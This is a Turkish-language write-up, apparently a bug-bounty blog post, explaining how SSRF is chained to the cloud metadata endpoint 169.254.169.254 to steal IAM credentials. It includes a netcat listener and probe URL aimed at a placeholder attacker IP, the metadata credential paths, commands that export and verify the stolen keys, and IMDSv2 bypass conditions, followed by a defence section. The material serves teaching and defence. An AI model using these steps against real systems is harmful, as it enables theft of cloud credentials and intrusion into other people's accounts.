SSRF nedir, neden bulutta ölümcül
Server-Side Request Forgery (SSRF), sunucuyu senin seçtiğin bir hedefe istek atmaya kandırmaktır. Tek başına “sunucu bir URL çekiyor” zararsız görünür. Bulutta ölümcül olmasının sebebi tek bir adres: 169.254.169.254 — link-local metadata servisi (IMDS). Bu uca giden her istek, çalışan instance’ın kimliğiyle yanıtlanır. Yani SSRF’in iç ağa eriştiği an, makinenin bulut kimlik bilgilerine de erişmiş olur.
Bu yazı, yetkili bir programda kendi test hesabımla zincirlediğim akışı anlatıyor; gerçek müşteri verisine dokunulmadı, kimlikler yalnız kanıt için okundu.
1. SSRF’i nerede bulurum
Kullanıcı-kontrollü bir değerin sunucu tarafında isteke dönüştüğü her yer aday:
- URL/
?url=/?next=/?image=parametreleri (önizleme, avatar fetch) - Webhook kaydı (sen URL veriyorsun, sunucu çağırıyor)
- PDF/HTML→resim üreticileri (headless tarayıcı senin URL’ini açar)
- Belge import “uzaktan dosya çek” özellikleri
- XXE → harici entity üzerinden dolaylı SSRF
İlk prob basit: kendi dinleyicime istek attırırım. Gelirse SSRF var.
# saldırgan tarafı dinleyici
nc -lvnp 8000
# hedefe verilen değer
https://hedef.com/preview?url=http://MY-IP:8000/probe
Geri çağrı düştüyse sunucu benim adıma istek atıyor demektir. Sıradaki soru: iç ağa ulaşabiliyor mu?
2. Metadata uca dönmek
AWS’de klasik hedef IMDSv1:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Bu, instance’a bağlı IAM rolünün adını döndürür. Rol adını ekleyip tekrar isterim:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROL_ADI>
Dönen JSON: AccessKeyId, SecretAccessKey ve Token (geçici STS oturumu). Bu üçlü, rolün yetkisi neyse onu verir — S3 okuma, bazen çok daha fazlası.
{ "AccessKeyId":"ASIA…", "SecretAccessKey":"…", "Token":"…", "Expiration":"…" }
3. Kimliği kullanmak (kanıt)
Çalınan geçici kimlikle yetkiyi doğrularım — yıkıcı bir şey yapmadan, sadece “kim olduğumu” sorarak:
export AWS_ACCESS_KEY_ID=ASIA…
export AWS_SECRET_ACCESS_KEY=…
export AWS_SESSION_TOKEN=…
aws sts get-caller-identity
get-caller-identity tek başına etki kanıtıdır (kanıt merdiveninde L3): instance’ın bulut kimliğini ele geçirdim. Buradan rolün izinleri ne kadar genişse o kadar tehlikeli — geniş bir rol, S3 dökümünden lateral movement’a kadar açılır. Raporda burada dururum; gerçek veriyi çekmek gerekmez, kimliğin geçerliliği yeterli.
4. IMDSv2 nüansı
Modern hesaplarda IMDSv2 var: önce PUT ile token alıp sonra o token’la GET yapman gerekir (session-oriented). Bu, basit SSRF’i (sadece GET) kırar:
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
Ama IMDSv2 sihirli kalkan değil. SSRF primitive’in özel header set edip metod seçebiliyorsa (örneğin tam request kontrolü veren bir proxy/gateway zafiyeti), v2 de düşer. Ayrıca hop-limit varsayılanı (1) yanlış yapılandırılmış konteyner ağlarında bazen aşılır. Pratik ders: v2 saldırı yüzeyini daraltır, sıfırlamaz.
GCP ve Azure’da uç farklıdır ama mantık aynı — GCP metadata.google.internal + Metadata-Flavor: Google header ister; Azure 169.254.169.254/metadata/instance?api-version=… + Metadata: true. Header şartı, körlemesine GET atan SSRF’i bu platformlarda zorlaştırır.
5. Savunma
- IMDSv2 zorunlu kıl, IMDSv1’i kapat (
http-tokens: required). - hop-limit’i 1’e sabitle; konteynerden metadata’ya erişimi kes.
- Uygulama tarafında URL fetch’lerinde allowlist + link-local/private aralıkları (169.254.0.0/16, 10/8, 127/8, metadata DNS) reddet; DNS-rebinding’e karşı çözümlenen IP’yi de doğrula.
- Role en az yetki ver — çalınsa bile blast radius küçük olsun.
Kapanış
SSRF’in dersi sınıfın kendisi değil, zincir: zararsız bir önizleme parametresi, tek bir link-local adres yüzünden bulut kimlik hırsızlığına çıkıyor. Bir URL-fetch alanı gördüğünde reflexin 169.254.169.254 olmalı — ve savunan taraftaysan, o adrese giden yolu daha uygulama katmanında kapatmalısın.